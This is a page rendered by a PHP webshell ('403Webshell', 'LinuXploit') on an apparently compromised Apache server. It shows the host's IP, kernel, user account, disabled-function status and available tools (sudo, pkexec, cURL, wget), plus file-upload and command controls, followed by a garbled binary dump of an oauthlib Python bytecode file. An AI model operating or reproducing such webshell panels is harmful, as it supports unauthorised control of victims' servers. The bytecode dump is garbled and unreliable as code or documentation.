403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/oauthlib/oauth1/rfc5849/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/oauthlib/oauth1/rfc5849/__pycache__/__init__.cpython-36.pyc
3

,�[�;�@s�dZddlmZmZddlZddlZddlZeje�Z	ddl
Z
yddlZWnek
rhddl
jZYnXe
jddkr~eZneZddlmZmZmZddlmZmZddlmZmZd	Zd
ZdZeeefZdZ d
Z!dZ"dZ#Gdd�de$�Z%dS)z�
oauthlib.oauth1.rfc5849
~~~~~~~~~~~~~~

This module is an implementation of various logic needed
for signing and checking OAuth 1.0 RFC 5849 requests.
�)�absolute_import�unicode_literalsN�)�Request�	urlencode�generate_nonce)�generate_timestamp�
to_unicode�)�
parameters�	signaturez	HMAC-SHA1zRSA-SHA1Z	PLAINTEXTZAUTH_HEADERZQUERYZBODYz!application/x-www-form-urlencodedc
@s�eZdZdZeejeeje	ej
iZedd��Z
ddddeedddddddf
dd�Zdd	�Zd
d�Zdd
�Zddd�Zddd�ZdS)�Clientz2A client used to sign OAuth 1.0 RFC 5849 requests.cCs||j|<dS)N)�SIGNATURE_METHODS)�clsZmethod_nameZmethod_callback�r�/usr/lib/python3.6/__init__.py�register_signature_method3sz Client.register_signature_methodNzutf-8cs��fdd�}||�|_||�|_||�|_||�|_||�|_||�|_||�|_||�|_||	�|_||
�|_	|��|_
||�|_||
�|_||�|_
dS)a�Create an OAuth 1 client.

        :param client_key: Client key (consumer key), mandatory.
        :param resource_owner_key: Resource owner key (oauth token).
        :param resource_owner_secret: Resource owner secret (oauth token secret).
        :param callback_uri: Callback used when obtaining request token.
        :param signature_method: SIGNATURE_HMAC, SIGNATURE_RSA or SIGNATURE_PLAINTEXT.
        :param signature_type: SIGNATURE_TYPE_AUTH_HEADER (default),
                               SIGNATURE_TYPE_QUERY or SIGNATURE_TYPE_BODY
                               depending on where you want to embed the oauth
                               credentials.
        :param rsa_key: RSA key used with SIGNATURE_RSA.
        :param verifier: Verifier used when obtaining an access token.
        :param realm: Realm (scope) to which access is being requested.
        :param encoding: If you provide non-unicode input you may use this
                         to have oauthlib automatically convert.
        :param decoding: If you wish that the returned uri, headers and body
                         from sign be encoded back from unicode, then set
                         decoding to your preferred encoding, i.e. utf-8.
        :param nonce: Use this nonce instead of generating one. (Mainly for testing)
        :param timestamp: Use this timestamp instead of using current. (Mainly for testing)
        cs�rt|��S|S)N)r	)�x)�encodingrr�<lambda>Xsz!Client.__init__.<locals>.<lambda>N)�
client_key�
client_secret�resource_owner_key�resource_owner_secret�signature_method�signature_type�callback_uri�rsa_key�verifier�realmr�decoding�nonce�	timestamp)�selfrrrrrrrrrrrr r!r"�encoder)rr�__init__7s!












zClient.__init__cCspt|�j�}|drdnd|d<|dr,dnd|d<|dr@dnd|d<djdd�|j�D��}d|jj|fS)	Nrz****rrz, css|]\}}d||fVqdS)z%s=%sNr)�.0�k�vrrr�	<genexpr>osz"Client.__repr__.<locals>.<genexpr>z<%s %s>)�vars�copy�join�items�	__class__�__name__)r#�attrsZ
attribute_strrrr�__repr__iszClient.__repr__c
Cs�|jtkrtj|j|j�S|j|�\}}}tjtj|�j	||d�}t
jdj|��tj
|�}tj||jdd��}t
jdj|��t
jdj|��tj|j||�}t
jdj|��|j|jkr�td��|j|j||�}	t
jd	j|	��|	S)
awGet an OAuth signature to be used in signing a request

        To satisfy `section 3.4.1.2`_ item 2, if the request argument's
        headers dict attribute contains a Host item, its value will
        replace any netloc part of the request argument's uri attribute
        value.

        .. _`section 3.4.1.2`: https://tools.ietf.org/html/rfc5849#section-3.4.1.2
        )Z	uri_query�body�headerszCollected params: {0}ZHostNzNormalized params: {0}zNormalized URI: {0}z#Signing: signature base string: {0}zInvalid signature method.zSignature: {0})r�SIGNATURE_PLAINTEXTrZsign_plaintextrr�_renderZcollect_parameters�urlparseZquery�log�debug�formatZnormalize_parametersZnormalize_base_string_uri�getZconstruct_base_string�http_methodr�
ValueError)
r#�request�urir3r2Zcollected_paramsZnormalized_paramsZnormalized_uriZbase_stringZsigrrr�get_oauth_signaturers,



zClient.get_oauth_signaturecCs�|jdkrt�n|j}|jdkr&t�n|j}d|fd|fdd|jfd|jfg}|jrd|jd|jf�|jrz|jd	|jf�|j	r�|jd
|j	f�|j
jdd�}|o�|jd�d
k}|j
dk	r�|r�|jdtjtj|j
jd��j��jd�f�|S)zMGet the basic OAuth parameters to be used in generating a signature.
        NZoauth_nonceZoauth_timestamp�
oauth_version�1.0Zoauth_signature_methodZoauth_consumer_keyZoauth_tokenZoauth_callbackZoauth_verifierzContent-Typez!application/x-www-form-urlencodedrZoauth_body_hashzutf-8)r@rA)r!rr"rrrr�appendrrr3r:�findr2�base64Z	b64encode�hashlibZsha1r$Zdigest�decode)r#r=r!r"Zparams�content_typeZcontent_type_eligiblerrr�get_oauth_params�s$,zClient.get_oauth_paramsFcCs�|j|j|j}}}|jtkr6tj|j|j|d�}n^|jtkrp|j	dk	rptj
|j|j	�}|rft|�}d|d<n$|jtkr�tj
|j|j�}ntd��|||fS)aRender a signed request according to signature type

        Returns a 3-tuple containing the request URI, headers, and body.

        If the formencode argument is True and the body contains parameters, it
        is escaped and returned as a valid formencoded string.
        )rNz!application/x-www-form-urlencodedzContent-Typez!Unknown signature type specified.)r>r3r2r�SIGNATURE_TYPE_AUTH_HEADERrZprepare_headers�oauth_params�SIGNATURE_TYPE_BODY�decoded_bodyZprepare_form_encoded_bodyr�SIGNATURE_TYPE_QUERYZprepare_request_uri_queryr<)r#r=�
formencoderr>r3r2rrrr5�s	


zClient._render�GETcCs|t|||||jd�}|jjdd�}|o.|jd�}|tk}	|jdk	}
|rT|
rTtd��np|	rh|
rhtd��n\|	r�|
r�tdj|p~dt���n<|j	t
kr�|	o�|
o�|r�td	��n|j�dkr�|
r�td��|j|�|_
|j
jd
|j|�f�|j|d|p�|jd�\}}}|j�rrtjd|j�|j|j�}|�r6|j|j�n|}i}x.|j�D]"\}}
|
j|j�||j|j�<�qHW|}|||fS)aFSign a request

        Signs an HTTP request with the specified parts.

        Returns a 3-tuple of the signed request's URI, headers, and body.
        Note that http_method is not returned as it is unaffected by the OAuth
        signing process. Also worth noting is that duplicate parameters
        will be included in the signature, regardless of where they are
        specified (query, body).

        The body argument may be a dict, a list of 2-tuples, or a formencoded
        string. The Content-Type header must be 'application/x-www-form-urlencoded'
        if it is present.

        If the body argument is not one of the above, it will be returned
        verbatim as it is unaffected by the OAuth signing process. Attempting to
        sign a request with non-formencoded data using the OAuth body signature
        type is invalid and will raise an exception.

        If the body does contain parameters, it will be returned as a properly-
        formatted formencoded string.

        Body may not be included if the http_method is either GET or HEAD as
        this changes the semantic meaning of the request.

        All string data MUST be unicode or be encoded with the same encoding
        scheme supplied to the Client constructor, default utf-8. This includes
        strings inside body dicts, for example.
        )rzContent-TypeNz
multipart/z?Headers indicate a multipart body but body contains parameters.z?Headers indicate a formencoded body but body was not decodable.zGBody contains parameters but Content-Type header was {0} instead of {1}znot setz=Body signatures may only be used with form-urlencoded contentrO�HEADz*GET/HEAD requests should not include body.Zoauth_signatureT)rNrz%Encoding URI, headers and body to %s.)rOrP)rrr3r:�
startswith�CONTENT_TYPE_FORM_URLENCODEDrLr<r9rrK�upperrHrJrBr?r5rr r7r8r$r-)r#r>r;r2r3rr=rGZ	multipartZshould_have_paramsZ
has_paramsZnew_headersr'r(rrr�sign�sJ






zClient.sign)FN)rONNN)r/�
__module__�__qualname__�__doc__�SIGNATURE_HMACrZsign_hmac_sha1_with_client�
SIGNATURE_RSAZsign_rsa_sha1_with_clientr4Zsign_plaintext_with_clientr�classmethodrrIr%r1r?rHr5rTrrrrr
*s&
)	*!
%r
)&rWZ
__future__rrrDrEZloggingZ	getLoggerr/r7�sysr6�ImportErrorZurllib.parse�parse�version_info�bytesZ
bytes_type�strZoauthlib.commonrrrrr	�rrrXrYr4rrIrMrKrR�objectr
rrrr�<module>s2



Youez - 2016 - github.com/yon3zu
LinuXploit